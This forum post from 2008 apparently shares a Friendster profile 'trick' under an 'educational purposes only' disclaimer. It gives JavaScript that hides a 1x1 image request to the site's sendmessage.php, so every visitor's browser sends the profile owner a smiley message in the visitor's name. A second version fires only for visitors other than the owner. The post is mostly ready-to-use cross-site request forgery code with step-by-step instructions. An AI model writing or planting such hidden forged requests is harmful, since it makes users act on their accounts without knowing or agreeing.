[quote][b][color=grey]disclaimer: for educational purposes only
[/color][/b][/quote]
The code will work if hidden in a sidebar or innerHTML
wvm smiley will work with this code I've just made & tested:
[quote]var smyler = document.getElementById("2");
var wvmsmyle="<div id='commonbox wvmsmyle' style='visibility:hidden;height:0px;'><img src='http://www.friendster.com/sendmessage.php?uid="+pageOwnerID+"&action=sendsmile&_submitted=1' width='1' height='1'/></div>";
var smyl = document.createElement("li");
smyl.innerHTML=wvmsmyle;
smyler.parentNode.insertBefore(smyl,smyler);[/quote]
1. insert it in js
[quote][b]tutorial:
[url=http://theftalk.com/t22027-Making-Extensions-Files.-%5BFriendster-Editing%5D.html]How To Make J.S. Extension.[/url][/b] [img]http://smileydatabase.com/s/94.gif[/img]
[align=center]if the above tutorial does not work, then the linker it refers to may be outdated. refer to the [img]http://theftalk.com/img/FriendsterTalk/icon_sticky.gif[/img] [b]sticky topics[/b] on [b]page 1[/b] of the [b]tricks and tutorials[/b] section to check for a new linker[/align][/quote]
2. view your proffy
3. wait a minute or 2 (becoz sometimes it's not instantly sent)
4. view inbox
5. see smiley
6. believe it!
[b]no errors:[/b] I've been viewing my proffy several times for the past few days - both in IE and FF. so today I ended up alot of messages in my inbox
if you only want to see smileys only when other people visit your proffy, do this instead:
[quote]if ((pageViewerID != pageOwnerID)&&(pageViewerID != "")){
var smyler = document.getElementById("2");
var wvmsmyle="<div id='commonbox wvmsmyle' style='visibility:hidden;height:0px;'><img src='http://www.friendster.com/sendmessage.php?uid="+pageOwnerID+"&action=sendsmile&_submitted=1' width='1' height='1'/></div>";
var smyl = document.createElement("li");
smyl.innerHTML=wvmsmyle;
smyler.parentNode.insertBefore(smyl,smyler);
}[/quote]
[b]that's it! your done [/b]
Last edited by Ephemeral (2008-02-24 06:18:49)